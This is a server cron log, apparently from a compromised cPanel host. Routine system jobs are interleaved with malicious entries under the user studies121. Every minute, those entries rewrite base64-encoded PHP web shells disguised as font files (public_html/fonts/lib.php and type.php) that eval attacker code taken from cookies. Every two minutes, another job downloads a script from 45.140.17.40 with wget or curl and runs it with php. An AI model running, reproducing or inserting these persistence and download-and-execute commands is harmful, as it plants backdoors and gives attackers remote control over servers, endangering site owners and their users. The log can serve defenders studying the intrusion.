Sep 12 10:56:01 ip-184-168-122-23 CROND[13300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:56:01 ip-184-168-122-23 CROND[13302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:56:01 ip-184-168-122-23 CROND[13303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:57:01 ip-184-168-122-23 CROND[13393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:57:01 ip-184-168-122-23 CROND[13396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:57:01 ip-184-168-122-23 CROND[13397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:57:01 ip-184-168-122-23 CROND[13395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:58:01 ip-184-168-122-23 CROND[13572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:58:01 ip-184-168-122-23 CROND[13574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:58:01 ip-184-168-122-23 CROND[13577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:58:01 ip-184-168-122-23 CROND[13576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:58:01 ip-184-168-122-23 CROND[13575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:59:01 ip-184-168-122-23 CROND[13662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:59:01 ip-184-168-122-23 CROND[13666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:59:01 ip-184-168-122-23 CROND[13664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:59:01 ip-184-168-122-23 CROND[13667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:00:01 ip-184-168-122-23 CROND[13754]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:00:01 ip-184-168-122-23 CROND[13757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:00:01 ip-184-168-122-23 CROND[13764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:00:01 ip-184-168-122-23 CROND[13762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:00:01 ip-184-168-122-23 CROND[13758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:00:01 ip-184-168-122-23 CROND[13761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:00:01 ip-184-168-122-23 CROND[13760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:00:01 ip-184-168-122-23 CROND[13767]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:01:01 ip-184-168-122-23 CROND[13885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:01:01 ip-184-168-122-23 CROND[13888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 11:01:01 ip-184-168-122-23 CROND[13887]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 11:01:01 ip-184-168-122-23 CROND[13892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:01:01 ip-184-168-122-23 CROND[13891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:01:01 ip-184-168-122-23 CROND[13889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13887]: starting 0anacron
Sep 12 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13907]: finished 0anacron
Sep 12 11:02:01 ip-184-168-122-23 CROND[13987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:02:01 ip-184-168-122-23 CROND[13990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:02:01 ip-184-168-122-23 CROND[13989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:02:01 ip-184-168-122-23 CROND[13992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:02:01 ip-184-168-122-23 CROND[13991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:03:01 ip-184-168-122-23 CROND[14175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:03:01 ip-184-168-122-23 CROND[14177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:03:01 ip-184-168-122-23 CROND[14178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:03:01 ip-184-168-122-23 CROND[14179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:04:01 ip-184-168-122-23 CROND[14306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:04:01 ip-184-168-122-23 CROND[14308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:04:01 ip-184-168-122-23 CROND[14310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:04:01 ip-184-168-122-23 CROND[14309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:04:01 ip-184-168-122-23 CROND[14311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:05:01 ip-184-168-122-23 CROND[14405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:05:01 ip-184-168-122-23 CROND[14407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:05:01 ip-184-168-122-23 CROND[14409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:05:01 ip-184-168-122-23 CROND[14411]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 11:05:01 ip-184-168-122-23 CROND[14414]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:05:01 ip-184-168-122-23 CROND[14412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:05:01 ip-184-168-122-23 CROND[14413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:06:01 ip-184-168-122-23 CROND[14500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:06:01 ip-184-168-122-23 CROND[14503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:06:01 ip-184-168-122-23 CROND[14504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:06:01 ip-184-168-122-23 CROND[14502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:06:01 ip-184-168-122-23 CROND[14505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:07:01 ip-184-168-122-23 CROND[14593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:07:01 ip-184-168-122-23 CROND[14595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:07:01 ip-184-168-122-23 CROND[14597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:07:01 ip-184-168-122-23 CROND[14596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:08:01 ip-184-168-122-23 CROND[14782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:08:01 ip-184-168-122-23 CROND[14784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:08:01 ip-184-168-122-23 CROND[14787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
